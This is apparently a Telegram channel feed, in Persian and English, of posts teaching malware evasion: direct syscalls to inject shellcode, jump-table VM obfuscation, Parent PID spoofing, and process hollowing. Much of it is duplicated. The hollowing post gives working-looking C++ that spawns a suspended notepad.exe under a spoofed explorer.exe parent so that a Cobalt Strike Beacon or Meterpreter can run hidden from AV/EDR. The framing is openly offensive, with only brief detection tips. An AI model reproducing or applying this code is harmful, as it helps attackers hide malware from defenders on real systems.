// Manual syscall prototype
NTSTATUS NtAllocateVirtualMemory(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
// Direct syscall (inline assembly)
__asm {
mov r10, rcx
mov eax, 0x18 // syscall ID for NtAllocateVirtualMemory (depends on Windows version)
syscall
ret
}
⚠️ Important Notes
🔍 Issue 📌 Note
Syscall ID Varies between Windows versions (Win10, Win11, Server...)
💡 Solution Use SysWhispers2 — it handles syscall number mapping automatically
Detection If you avoid reading from disk and don’t touch ntdll.dll, EDRs may miss it entirely
🧨 Security Impact
With Direct Syscalls, you can:
✅ Inject shellcode into memory
✅ Set memory to executable (RW → RX)
✅ Create threads to run it
…without triggering most modern AV/EDR tools.
Even Sysmon may miss it if the right evasion is used.
📦 Notable Real-World Tools
Tool Features
Kraken Full loader with direct syscalls, AMSI/ETW patching
ScareCrow Stealth shellcode loader to bypass EDR
NimlineWhispers SysWhispers-like tool using Nim
Sleepy Direct Syscall Execute syscalls from sleeping threads 😴
✅ Final Flow:
Step Action
1️⃣ Read shellcode from file/resource
2️⃣ Reserve memory via NtAllocateVirtualMemory
3️⃣ Write to memory using NtWriteVirtualMemory
4️⃣ Execute with NtCreateThreadEx
5️⃣ No traces, no API logs — just stealth
❤2
Forwarded from GO-TO CVE
CVE-2021-34527-week-60.pdf
938.1 KB
سلام به همه عزیزان خوش اومدین به هفته 60 از برسی اسیب پذیری از GO-TO CVE امروز به برسی اسیب پذیری PrintNightmare برسی کنیم .
Week: 60
CVE: CVE-2021-34527
Type: RCE
Target: spoolsv.exe (Windows Print Spooler)
#week_60
Week: 60
CVE: CVE-2021-34527
Type: RCE
Target: spoolsv.exe (Windows Print Spooler)
#week_60
👏2
🌀 اجرای دستورها با Jump Table
> اجرای غیرمستقیم دستورها برای مخفی کردن منطق اصلی و سختتر کردن مهندسی معکوس
🎯 چرا Jump Table؟
در روشهای قبلی از switch-case یا if-else مستقیم استفاده میکردیم این ساختارها توی دیاسمبلر خیلی راحت شناسایی میشن و تحلیل bytecode آسونه
اما با Jump Table ما به جای اینکه مستقیماً بگیم دستور بعدی چیه از یک جدول آدرس استفاده میکنیم که بر اساس opcode به تابع مربوط به اون دستور پرش کنه این باعث میشه مسیر اجرای برنامه غیرشفاف بشه
🔍 تفاوت ساده با پیچیده:
قبل:
حالا:
🧪 پیادهسازی عملی:
1 تعریف jump table:
2 مقداردهی جدول:
3 اجرای bytecode:
🎯 چرا این روش Obfuscated حساب میشه؟
ابزارهایی مثل Ghidra یا IDA به راحتی نمیتونن مسیر اجرای دستورات رو بفهمن
تحلیلگر باید دنبال جدول بگرده و بفهمه کدوم opcode به کدوم تابع میره
اگر این jump table در زمان اجرا ساخته بشه (مثلاً با رمزگشایی یا رمزگذاری دینامیک) کار حتی سختتر هم میشه
🌀 Executing Instructions via Jump Table
→ Indirect Execution to Hide Logic & Obfuscate Reverse Engineering
🎯 Why Use a Jump Table?
In typical virtual machines or interpreters, you'd use a simple switch-case or if-else chain to handle opcodes.
But these control structures are very easy to analyze in disassemblers — tools like IDA or Ghidra detect them and decompile them cleanly.
👉 With a Jump Table, instead of directly stating which instruction to execute, you use a function pointer array indexed by opcode.
The program "jumps" to the function handling that instruction.
This breaks the control flow and makes the execution path much harder to follow.
🔍 Comparison: Straightforward vs Obfuscated
Before (simple):
Now (obfuscated):
🧪 Practical Implementation
1 Define Handlers:
2 Initialize Jump Table:
3 Execute Bytecode:
🎯 Why Is This Considered Obfuscation?
💣 Reverse engineering tools like IDA, Ghidra, Radare2 struggle to reconstruct clean control flow when jump tables are involved.
The control logic is not linear, so the analyst needs to:
Find the table
Understand its structure
Resolve what opcode maps to which handler
🧬 If you generate the jump table at runtime, or even encrypt/decrypt it dynamically, the complexity increases dramatically.
This technique is commonly used in VM-based obfuscation, malware loaders, and custom packers
> اجرای غیرمستقیم دستورها برای مخفی کردن منطق اصلی و سختتر کردن مهندسی معکوس
🎯 چرا Jump Table؟
در روشهای قبلی از switch-case یا if-else مستقیم استفاده میکردیم این ساختارها توی دیاسمبلر خیلی راحت شناسایی میشن و تحلیل bytecode آسونه
اما با Jump Table ما به جای اینکه مستقیماً بگیم دستور بعدی چیه از یک جدول آدرس استفاده میکنیم که بر اساس opcode به تابع مربوط به اون دستور پرش کنه این باعث میشه مسیر اجرای برنامه غیرشفاف بشه
🔍 تفاوت ساده با پیچیده:
قبل:
switch(opcode) {
case 0x01: push(...); break;
case 0x02: add(...); break;
}
حالا:
void (*jump_table[256])();
jump_table[0x01] = handle_push;
jump_table[0x02] = handle_add;
...
jump_table[opcode]();
🧪 پیادهسازی عملی:
1 تعریف jump table:
void handle_push() {
push(bytecode[pc++]);
}
void handle_add() {
int b = pop();
int a = pop();
push(a + b);
}
void handle_print() {
printf("Result: %d\n", pop());
}
void handle_fake() {
// nop
}
2 مقداردهی جدول:
void (*jump_table[256])();
void init_jump_table() {
for (int i = 0; i < 256; i++) jump_table[i] = handle_fake;
jump_table[0x01] = handle_push;
jump_table[0x02] = handle_add;
jump_table[0x03] = handle_print;
}
3 اجرای bytecode:
void run_vm() {
while (pc < bytecode_length) {
unsigned char opcode = bytecode[pc++];
jump_table[opcode]();
}
}
🎯 چرا این روش Obfuscated حساب میشه؟
ابزارهایی مثل Ghidra یا IDA به راحتی نمیتونن مسیر اجرای دستورات رو بفهمن
تحلیلگر باید دنبال جدول بگرده و بفهمه کدوم opcode به کدوم تابع میره
اگر این jump table در زمان اجرا ساخته بشه (مثلاً با رمزگشایی یا رمزگذاری دینامیک) کار حتی سختتر هم میشه
🌀 Executing Instructions via Jump Table
→ Indirect Execution to Hide Logic & Obfuscate Reverse Engineering
🎯 Why Use a Jump Table?
In typical virtual machines or interpreters, you'd use a simple switch-case or if-else chain to handle opcodes.
But these control structures are very easy to analyze in disassemblers — tools like IDA or Ghidra detect them and decompile them cleanly.
👉 With a Jump Table, instead of directly stating which instruction to execute, you use a function pointer array indexed by opcode.
The program "jumps" to the function handling that instruction.
This breaks the control flow and makes the execution path much harder to follow.
🔍 Comparison: Straightforward vs Obfuscated
Before (simple):
switch(opcode) {
case 0x01: push(...); break;
case 0x02: add(...); break;
}
Now (obfuscated):
void (*jump_table[256])();
jump_table[0x01] = handle_push;
jump_table[0x02] = handle_add;
...
jump_table[opcode]();
🧪 Practical Implementation
1 Define Handlers:
void handle_push() {
push(bytecode[pc++]);
}
void handle_add() {
int b = pop();
int a = pop();
push(a + b);
}
void handle_print() {
printf("Result: %d\n", pop());
}
void handle_fake() {
// NOP or bogus instruction
}
2 Initialize Jump Table:
void (*jump_table[256])();
void init_jump_table() {
for (int i = 0; i < 256; i++)
jump_table[i] = handle_fake;
jump_table[0x01] = handle_push;
jump_table[0x02] = handle_add;
jump_table[0x03] = handle_print;
}
3 Execute Bytecode:
void run_vm() {
while (pc < bytecode_length) {
unsigned char opcode = bytecode[pc++];
jump_table[opcode]();
}
}
🎯 Why Is This Considered Obfuscation?
💣 Reverse engineering tools like IDA, Ghidra, Radare2 struggle to reconstruct clean control flow when jump tables are involved.
The control logic is not linear, so the analyst needs to:
Find the table
Understand its structure
Resolve what opcode maps to which handler
🧬 If you generate the jump table at runtime, or even encrypt/decrypt it dynamically, the complexity increases dramatically.
This technique is commonly used in VM-based obfuscation, malware loaders, and custom packers
❤3
🎭 Parent PID Spoofing – «بابام پلیسه!» 🤡
📎"وقتی بدافزارت ادای PowerShell در میاره، ولی تهش خودشه..."
🎯 این تکنیک چیه؟
تو این روش، به جای اینکه یه پردازش بد ایجاد کنی و امیدوار باشی که کسی متوجهش نشه،
میای یه پردازش کاملاً قلابی میسازی، ولی یه نکته مهم داره:
📌 میگی بابای من یه برنامهی قانونیه!
مثلاً بدافزارت میگه: منو explorer.exe اجرا کرده، یا svchost.exe، نه یه چیز مشکوک.
🧠 چرا این مهمه؟
ابزارهایی مثل Sysmon و اغلب EDRها، یه فاکتور خیلی مهم برای تشخیص بدافزار دارن:
کی این پردازش رو ساخته؟
📊 Parent PID یعنی شناسه پردازش پدر
اگه notepad.exe رو یه چیزی مثل calc.exe ساخته باشه مشکوکه
ولی اگه بدافزارت جعل کنه که پدرش explorer.exe بوده؟ خیلی تمیز رد میشه.
⚒️ چجوری اجراش کنیم؟
برای اینکار باید از تابع CreateProcess استفاده کنیم ولی با یه ترفند:
1 اول پروسس پدر مورد نظر (مثلا explorer.exe) رو پیدا کن
2 یه STARTUPINFOEX بساز با ساختار PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
3 توی CreateProcess، اون Parent رو دستی ست کن
کد C++ شبه:
STARTUPINFOEX siex = { sizeof(siex) };
InitializeProcThreadAttributeList(...);
UpdateProcThreadAttribute(..., PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, ...);
CreateProcess(..., &siex, ...);
📌 بعضی ابزارهای آماده مثل PPID Spoof by @3xpl01t هم هستن که اینکارو راحتتر میکنن.
🎯 استفاده حرفهای؟
ترکیبش کن با:
Process Hollowing
Shinjecting
رمزنگاری شلکد
و یه بدافزار بساز که هم پنهانه، هم قابل قبول از دید EDR
🧪 تشخیص؟ خیلی سخته!
ولی:
چک کردن parent-child chains با ابزارهایی مثل Process Explorer
بررسی inconsistency توی Creation Time
رفتارشناسی: مثلا explorer.exe نباید rundll32.exe رو بسازه!
🧠 جمعبندی:
Parent PID Spoofing = جعل پدر برای رد شدن از سیستمهای تحلیل رفتاری
🔐 این تکنیک خیلی تمیز، بدون نیاز به injection مستقیم، ولی به شدت مؤثره.
مخصوصاً وقتی میخوای در دل سیستم باشی ولی تو لاگ دیده نشی
🎭 Parent PID Spoofing – “My dad’s a police!” 🤡📎
“When your malware pretends it was launched by PowerShell, but it’s really just… itself.”
🎯 What Is This Technique?
Instead of launching a shady process and hoping nobody notices, this technique lets you create a fake, clean-looking process —
but with one crucial trick:
📌 You claim your parent is a trusted, legitimate process.
Your malware says:
“Explorer.exe launched me!”
or
“I was born from svchost.exe, not anything suspicious!”
🧠 Why Does It Matter?
Tools like Sysmon and most EDRs use a key behavior to detect threats:
👉 Who spawned the process?
This is the Parent PID (PPID).
📊 Example:
calc.exe spawned by notepad.exe? 🚩 Suspicious
Malware spoofed to look like it was spawned by explorer.exe? ✅ Looks clean
⚒️ How Do You Perform PPID Spoofing?
You need to use the CreateProcess API — but with a trick:
1 🔍 First, locate the process handle of the parent you want (e.g. explorer.exe)
2 🛠️ Build a STARTUPINFOEX structure with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
3 📎 Use CreateProcess with that attribute to spoof the parent
🧪 Example (C++-like):
STARTUPINFOEX siex = { sizeof(siex) };
InitializeProcThreadAttributeList(...);
UpdateProcThreadAttribute(..., PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, ...);
CreateProcess(..., &siex, ...);
📌 Bonus: Tools like PPID Spoof by @3xpl01t automate this process.
🎯 Advanced Usage?
Combine PPID spoofing with:
Process Hollowing
Shellcode Injection
Encrypted payloads
→ Create malware that’s invisible and believable to the EDR.
🧪 Detection? Still Hard
It’s tricky, but here are a few methods:
🧬 Trace parent-child process chains using tools like Process Explorer
⏱️ Check for timestamp inconsistencies
🤖 Behavior monitoring: e.g., explorer.exe shouldn’t be spawning rundll32.exe!
🧠 Summary:
Parent PID Spoofing = Faking your parent to bypass behavioral analysis systems.
🔐 Clean, no direct injection required, and very effective —
especially when you want to live inside the system but stay invisible in logs
📎"وقتی بدافزارت ادای PowerShell در میاره، ولی تهش خودشه..."
🎯 این تکنیک چیه؟
تو این روش، به جای اینکه یه پردازش بد ایجاد کنی و امیدوار باشی که کسی متوجهش نشه،
میای یه پردازش کاملاً قلابی میسازی، ولی یه نکته مهم داره:
📌 میگی بابای من یه برنامهی قانونیه!
مثلاً بدافزارت میگه: منو explorer.exe اجرا کرده، یا svchost.exe، نه یه چیز مشکوک.
🧠 چرا این مهمه؟
ابزارهایی مثل Sysmon و اغلب EDRها، یه فاکتور خیلی مهم برای تشخیص بدافزار دارن:
کی این پردازش رو ساخته؟
📊 Parent PID یعنی شناسه پردازش پدر
اگه notepad.exe رو یه چیزی مثل calc.exe ساخته باشه مشکوکه
ولی اگه بدافزارت جعل کنه که پدرش explorer.exe بوده؟ خیلی تمیز رد میشه.
⚒️ چجوری اجراش کنیم؟
برای اینکار باید از تابع CreateProcess استفاده کنیم ولی با یه ترفند:
1 اول پروسس پدر مورد نظر (مثلا explorer.exe) رو پیدا کن
2 یه STARTUPINFOEX بساز با ساختار PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
3 توی CreateProcess، اون Parent رو دستی ست کن
کد C++ شبه:
STARTUPINFOEX siex = { sizeof(siex) };
InitializeProcThreadAttributeList(...);
UpdateProcThreadAttribute(..., PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, ...);
CreateProcess(..., &siex, ...);
📌 بعضی ابزارهای آماده مثل PPID Spoof by @3xpl01t هم هستن که اینکارو راحتتر میکنن.
🎯 استفاده حرفهای؟
ترکیبش کن با:
Process Hollowing
Shinjecting
رمزنگاری شلکد
و یه بدافزار بساز که هم پنهانه، هم قابل قبول از دید EDR
🧪 تشخیص؟ خیلی سخته!
ولی:
چک کردن parent-child chains با ابزارهایی مثل Process Explorer
بررسی inconsistency توی Creation Time
رفتارشناسی: مثلا explorer.exe نباید rundll32.exe رو بسازه!
🧠 جمعبندی:
Parent PID Spoofing = جعل پدر برای رد شدن از سیستمهای تحلیل رفتاری
🔐 این تکنیک خیلی تمیز، بدون نیاز به injection مستقیم، ولی به شدت مؤثره.
مخصوصاً وقتی میخوای در دل سیستم باشی ولی تو لاگ دیده نشی
🎭 Parent PID Spoofing – “My dad’s a police!” 🤡📎
“When your malware pretends it was launched by PowerShell, but it’s really just… itself.”
🎯 What Is This Technique?
Instead of launching a shady process and hoping nobody notices, this technique lets you create a fake, clean-looking process —
but with one crucial trick:
📌 You claim your parent is a trusted, legitimate process.
Your malware says:
“Explorer.exe launched me!”
or
“I was born from svchost.exe, not anything suspicious!”
🧠 Why Does It Matter?
Tools like Sysmon and most EDRs use a key behavior to detect threats:
👉 Who spawned the process?
This is the Parent PID (PPID).
📊 Example:
calc.exe spawned by notepad.exe? 🚩 Suspicious
Malware spoofed to look like it was spawned by explorer.exe? ✅ Looks clean
⚒️ How Do You Perform PPID Spoofing?
You need to use the CreateProcess API — but with a trick:
1 🔍 First, locate the process handle of the parent you want (e.g. explorer.exe)
2 🛠️ Build a STARTUPINFOEX structure with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
3 📎 Use CreateProcess with that attribute to spoof the parent
🧪 Example (C++-like):
STARTUPINFOEX siex = { sizeof(siex) };
InitializeProcThreadAttributeList(...);
UpdateProcThreadAttribute(..., PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, ...);
CreateProcess(..., &siex, ...);
📌 Bonus: Tools like PPID Spoof by @3xpl01t automate this process.
🎯 Advanced Usage?
Combine PPID spoofing with:
Process Hollowing
Shellcode Injection
Encrypted payloads
→ Create malware that’s invisible and believable to the EDR.
🧪 Detection? Still Hard
It’s tricky, but here are a few methods:
🧬 Trace parent-child process chains using tools like Process Explorer
⏱️ Check for timestamp inconsistencies
🤖 Behavior monitoring: e.g., explorer.exe shouldn’t be spawning rundll32.exe!
🧠 Summary:
Parent PID Spoofing = Faking your parent to bypass behavioral analysis systems.
🔐 Clean, no direct injection required, and very effective —
especially when you want to live inside the system but stay invisible in logs
❤3
? PPID Spoofing+ Process Hollowing
«وقتی قراره یه Payload رو توی لباس یه برنامه بیگناه اجرا کنی!» 🎭💉
🎯 PPID Spoofing یعنی چی؟
PPID (Parent Process ID) یعنی آیدی پروسهای که پروسهی جدید از دلش زاییده شده.
🧠 آنتیویروسها و EDRها از این استفاده میکنن که بفهمن:
چه کسی کیو اجرا کرده؟
آیا مثلاً notepad.exe واقعاً توسط Explorer اجرا شده؟
یا یه ابزار مشکوک با شبیهسازی اون رو اجرا کرده؟
🕵️ هدف PPID Spoofing
ما میخوایم مثلاً یه backdoor مثل evil.exe بسازیم که بهجای اینکه مستقیم اجرا شه، با PPID پدر بیگناه مثل Explorer اجرا شه
✅ این کار:
شک EDR رو کم میکنه
گراف Process Tree تمیز میمونه
باعث میشه ابزارهایی مثل Sysmon/EDR کمتر هشدار بدن
💉 Process Hollowing چیه؟
تو این تکنیک:
1 یه پروسه بیگناه مثل notepad.exe یا svchost.exe میسازی (suspended)
2 حافظهشو پاک میکنی (Unmap Section)
3 Shellcode یا فایل اجرایی خودتو inject میکنی
4 پروسه رو Resume میکنی
🎭 در ظاهر: یه نوتپد در حال اجراست
🧠 در واقع: بدافزار توش داره کار میکنه
🔧 PPID Spoofing در C++
🔬 حالا Hollowing کن:
🧪 ابزارهای آماده برای این کار:
ابزار توضیح
PPIDSpoof ساختن پروسه جدید با پدر جعلی
donut + hollowing اجرای فایل PE تو حافظه
Kraken / Tartarus Loader کامل با PPID Spoof + Hollowing
PEzor / ScareCrow ابزارهای AV/EDR Bypass با ساختارهای حرفهای
🛡️ روشهای مقابله با شناسایی EDR:
تکنیک کاربرد
🧠 انتخاب درست Parent (explorer.exe) شک برانگیز نیست
🔄 Thread Stack Spoof جعل Call Stack برای جلوگیری از تحلیل EDR
🔬 حذف Indicators مثل پاککردن رشتههای مشکوک از PE
⏳ اجرای تاخیری (sleep) جلوگیری از تشخیص رفتار سریع
📥 جمعبندی: ترکیب مرگبار stealth
PPID Spoof + Hollowing + DirectSyscall + AMSI Bypass + Unhook ntdll
→ یعنی آنتیویروس فقط یه notepad.exe میبینه، ولی توش یه Cobalt Strike Beacon در حال کاره! 😈
🎭💉 PPID Spoofing + Process Hollowing
“When you run your payload disguised as an innocent process.”
🎯 What’s PPID Spoofing?
PPID (Parent Process ID) = The process ID of the parent that spawned a new process.
🧠 EDRs and AVs track who launched what.
For example:
Did notepad.exe really come from explorer.exe?
Or did a sketchy loader fake it?
🕵️ Goal of PPID Spoofing:
We want to launch something like evil.exe but make it look like it was spawned by a clean process — like explorer.exe.
✅ Benefits:
Avoids EDR suspicion
Keeps the process tree clean
Tools like Sysmon or Defender don’t raise alerts
💉 What’s Process Hollowing?
A technique where:
1 You create a legit process (e.g., notepad.exe) in suspended mode
2 Wipe its memory (UnmapViewOfSection)
3 Inject your own shellcode or PE
4 Resume the process
🎭 On the surface: it’s just a Notepad
🧠 In reality: it’s your malware running inside
🔧 PPID Spoofing in C++
«وقتی قراره یه Payload رو توی لباس یه برنامه بیگناه اجرا کنی!» 🎭💉
🎯 PPID Spoofing یعنی چی؟
PPID (Parent Process ID) یعنی آیدی پروسهای که پروسهی جدید از دلش زاییده شده.
🧠 آنتیویروسها و EDRها از این استفاده میکنن که بفهمن:
چه کسی کیو اجرا کرده؟
آیا مثلاً notepad.exe واقعاً توسط Explorer اجرا شده؟
یا یه ابزار مشکوک با شبیهسازی اون رو اجرا کرده؟
🕵️ هدف PPID Spoofing
ما میخوایم مثلاً یه backdoor مثل evil.exe بسازیم که بهجای اینکه مستقیم اجرا شه، با PPID پدر بیگناه مثل Explorer اجرا شه
✅ این کار:
شک EDR رو کم میکنه
گراف Process Tree تمیز میمونه
باعث میشه ابزارهایی مثل Sysmon/EDR کمتر هشدار بدن
💉 Process Hollowing چیه؟
تو این تکنیک:
1 یه پروسه بیگناه مثل notepad.exe یا svchost.exe میسازی (suspended)
2 حافظهشو پاک میکنی (Unmap Section)
3 Shellcode یا فایل اجرایی خودتو inject میکنی
4 پروسه رو Resume میکنی
🎭 در ظاهر: یه نوتپد در حال اجراست
🧠 در واقع: بدافزار توش داره کار میکنه
🔧 PPID Spoofing در C++
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.StartupInfo.cb = sizeof(si);
// Parent handle
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, explorerPID);
// Attribute list
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL);
// ایجاد پروسه Suspended
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED, NULL, NULL, &si.StartupInfo, &pi);
🔬 حالا Hollowing کن:
// بخشهای PE خودتو لود کن
// VirtualAllocEx → WriteProcessMemory → SetThreadContext → ResumeThread
// معمولا از Shellcode یا Loader استفاده میشه (مثلاً Meterpreter, Cobalt Strike Beacon)
🧪 ابزارهای آماده برای این کار:
ابزار توضیح
PPIDSpoof ساختن پروسه جدید با پدر جعلی
donut + hollowing اجرای فایل PE تو حافظه
Kraken / Tartarus Loader کامل با PPID Spoof + Hollowing
PEzor / ScareCrow ابزارهای AV/EDR Bypass با ساختارهای حرفهای
🛡️ روشهای مقابله با شناسایی EDR:
تکنیک کاربرد
🧠 انتخاب درست Parent (explorer.exe) شک برانگیز نیست
🔄 Thread Stack Spoof جعل Call Stack برای جلوگیری از تحلیل EDR
🔬 حذف Indicators مثل پاککردن رشتههای مشکوک از PE
⏳ اجرای تاخیری (sleep) جلوگیری از تشخیص رفتار سریع
📥 جمعبندی: ترکیب مرگبار stealth
PPID Spoof + Hollowing + DirectSyscall + AMSI Bypass + Unhook ntdll
→ یعنی آنتیویروس فقط یه notepad.exe میبینه، ولی توش یه Cobalt Strike Beacon در حال کاره! 😈
🎭💉 PPID Spoofing + Process Hollowing
“When you run your payload disguised as an innocent process.”
🎯 What’s PPID Spoofing?
PPID (Parent Process ID) = The process ID of the parent that spawned a new process.
🧠 EDRs and AVs track who launched what.
For example:
Did notepad.exe really come from explorer.exe?
Or did a sketchy loader fake it?
🕵️ Goal of PPID Spoofing:
We want to launch something like evil.exe but make it look like it was spawned by a clean process — like explorer.exe.
✅ Benefits:
Avoids EDR suspicion
Keeps the process tree clean
Tools like Sysmon or Defender don’t raise alerts
💉 What’s Process Hollowing?
A technique where:
1 You create a legit process (e.g., notepad.exe) in suspended mode
2 Wipe its memory (UnmapViewOfSection)
3 Inject your own shellcode or PE
4 Resume the process
🎭 On the surface: it’s just a Notepad
🧠 In reality: it’s your malware running inside
🔧 PPID Spoofing in C++
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.StartupInfo.cb = sizeof(si);
// Open parent (e.g., explorer.exe)
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, explorerPID);
❤1🔥1
// Init attribute list
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);
UpdateProcThreadAttribute(
si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParent, sizeof(HANDLE),
NULL, NULL
);
// Create suspended process
CreateProcessA(
"C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED,
NULL, NULL, &si.StartupInfo, &pi
);
🔬 Now Perform Hollowing:
Load your PE into memory
Use VirtualAllocEx, WriteProcessMemory, SetThreadContext, ResumeThread
Usually inject a loader or shellcode (e.g., Meterpreter, Beacon)
🧪 Tools You Can Use:
Tool Purpose
PPIDSpoof Create new processes with spoofed parents
donut + hollowing Load PE in-memory
Kraken / Tartarus Full-featured loaders with PPID spoof + hollowing
PEzor / ScareCrow Advanced AV/EDR evasion loaders
🛡️ EDR Evasion Tips:
Technique Use
🧠 Smart Parent Choice (explorer.exe) Looks legit
🔄 Thread Stack Spoofing Fake call stacks to confuse EDR
🔬 Remove Indicators Strip suspicious strings from PE
⏳ Sleep Delays Avoid fast behavioral detection
📥 TL;DR – The Stealth Combo:
> PPID Spoof + Hollowing + Direct Syscalls + AMSI Bypass + Unhook ntdll
✅ To the AV: it’s just notepad.exe
😈 In reality: it’s running a Cobalt Strike Beacon inside
❤3
I would be happy to see your positive energy under this post, and if you like, share it so that we can get through any difficult situation together
❤10
Forwarded from PentesterLand Academy - Public
خوشحالمیشم انرژی مثبتاتون رو زیر این پست ببینم و اگه دوست داشتید به اشتراک بگذارید تا باهم از هراتفاقی قوی گذر کنیم:
https://www.instagram.com/reel/DMdcR2TCC9G/?igsh=MXB5bmI3bG9mYXE4Ng==
https://www.instagram.com/reel/DMdcR2TCC9G/?igsh=MXB5bmI3bG9mYXE4Ng==
❤🔥7🔥1
ترکیب همه تکنیکها برای ساخت یک VM Obfuscator واقعی
> ساخت یک "Mini-VMProtect" با رمزنگاری، Fake Opcode، اجرای غیرمستقیم، و ضد مهندسی معکوس
🎯 هدف:
پیادهسازی یک سیستم حفاظت شبه-واقعی که منطق اصلی برنامه رو به جای زبان اسمبلی، در bytecode خودمون اجرا میکنه و این bytecode:
Fake opcode داره
رمز شدهست
اجراش غیرمستقیمه (با jump table)
در حافظه قرار میگیره (نه روی دیسک)
کد اجرای VM هم میتونه مخفی یا Obfuscate بشه
🛠 اجزای پروژه نهایی:
بخش توضیح
Bytecode رمز شده با الگوریتمی مثل XOR یا AES رمزگذاری شده
Fake Instruction اپکدهای جعلی بین کدها برای گمراه کردن دیاسمبلر
Jump Table Execution اجرای دستورات از طریق آدرسدهی غیرمستقیم
Dynamic Decryption
کد bytecode هنگام اجرا رمزگشایی میشه و از حافظه اجرا میشه
Inline VM Execution کد VM داخل فایل نهایی embed شده ولی ساختار مشخصی نداره (ضد دیباگ)
🧠 ساختار کلی پروژه
+----------------------------------+
| EXE اصلی |
| +----------------------------+ |
| | ماشین مجازی مخفی (VM) | |
| | + رمزگشایی bytecode | |
| | + اجرای دستورها | |
| +----------------------------+ |
| + Bytecode رمز شده با Fake | |
+----------------------------------+
💻 سورسکد نهایی (اسکلت ساده)
کد کامل در پستهای بعدی میتونه قرار بگیره یا بهصورت سورس در GitHub یا کانال
🔥 نتیجه نهایی:
فایلی خواهی داشت که:
نه با IDA چیزی مشخص میشه
نه با دیباگر راحت قابل فهمه
و نه با Hex Editor منطق برنامه پیدا میشه
تنها راه تحلیل: دیباگ زنده و بازسازی ماشین مجازی خط به خط
🧠 Combining All Techniques to Build a Real VM Obfuscator
> Creating a "Mini-VMProtect" using encryption, fake opcodes, indirect execution, and anti-reverse engineering.
🎯 Goal:
Implement a realistic custom protection system that runs the core logic of your program not as native assembly, but in your own custom bytecode VM.
This bytecode is:
Encrypted (e.g., XOR or AES)
Contains fake opcodes to mislead disassemblers
Executed indirectly via jump tables
Stored and executed from memory, not the disk
The VM itself is obfuscated, inline, and potentially anti-debug
🛠 Final Project Components:
Component Denoscription
Encrypted Bytecode Encoded using XOR, AES, or similar
Fake Instructions Random junk opcodes injected to confuse analysts
Jump Table Execution Uses indirect addressing (e.g., jump_table[opcode]()) to execute logic
Dynamic Decryption Bytecode is decrypted at runtime and executed directly from memory
Inline VM Execution The VM code is embedded in the EXE, but disguised and obfuscated
🧠 Overall Architecture
+----------------------------------+
| Main EXE |
| +----------------------------+ |
| | Hidden VM Engine | |
| | + Decrypt Bytecode | |
| | + Execute Instructions | |
| +----------------------------+ |
| + Encrypted Bytecode w/ Fakes |
+----------------------------------+
💻 Minimal Skeleton Code (C-like):
> Full source code can be shared in future posts, or uploaded to GitHub/your channel.
🔥 Final Outcome:
You’ll have a binary that:
✅ Reveals nothing useful in IDA
✅ Is a pain to analyze in debuggers
✅ Hides real logic even in hex editors
💥 Only way to reverse it? Live debugging and step-by-step VM reconstruction
> ساخت یک "Mini-VMProtect" با رمزنگاری، Fake Opcode، اجرای غیرمستقیم، و ضد مهندسی معکوس
🎯 هدف:
پیادهسازی یک سیستم حفاظت شبه-واقعی که منطق اصلی برنامه رو به جای زبان اسمبلی، در bytecode خودمون اجرا میکنه و این bytecode:
Fake opcode داره
رمز شدهست
اجراش غیرمستقیمه (با jump table)
در حافظه قرار میگیره (نه روی دیسک)
کد اجرای VM هم میتونه مخفی یا Obfuscate بشه
🛠 اجزای پروژه نهایی:
بخش توضیح
Bytecode رمز شده با الگوریتمی مثل XOR یا AES رمزگذاری شده
Fake Instruction اپکدهای جعلی بین کدها برای گمراه کردن دیاسمبلر
Jump Table Execution اجرای دستورات از طریق آدرسدهی غیرمستقیم
Dynamic Decryption
کد bytecode هنگام اجرا رمزگشایی میشه و از حافظه اجرا میشه
Inline VM Execution کد VM داخل فایل نهایی embed شده ولی ساختار مشخصی نداره (ضد دیباگ)
🧠 ساختار کلی پروژه
+----------------------------------+
| EXE اصلی |
| +----------------------------+ |
| | ماشین مجازی مخفی (VM) | |
| | + رمزگشایی bytecode | |
| | + اجرای دستورها | |
| +----------------------------+ |
| + Bytecode رمز شده با Fake | |
+----------------------------------+
💻 سورسکد نهایی (اسکلت ساده)
void run_vm() {
decrypt_bytecode();
init_jump_table();
while (pc < bytecode_len) {
unsigned char opcode = bytecode[pc++];
jump_table[opcode]();
}
}
کد کامل در پستهای بعدی میتونه قرار بگیره یا بهصورت سورس در GitHub یا کانال
🔥 نتیجه نهایی:
فایلی خواهی داشت که:
نه با IDA چیزی مشخص میشه
نه با دیباگر راحت قابل فهمه
و نه با Hex Editor منطق برنامه پیدا میشه
تنها راه تحلیل: دیباگ زنده و بازسازی ماشین مجازی خط به خط
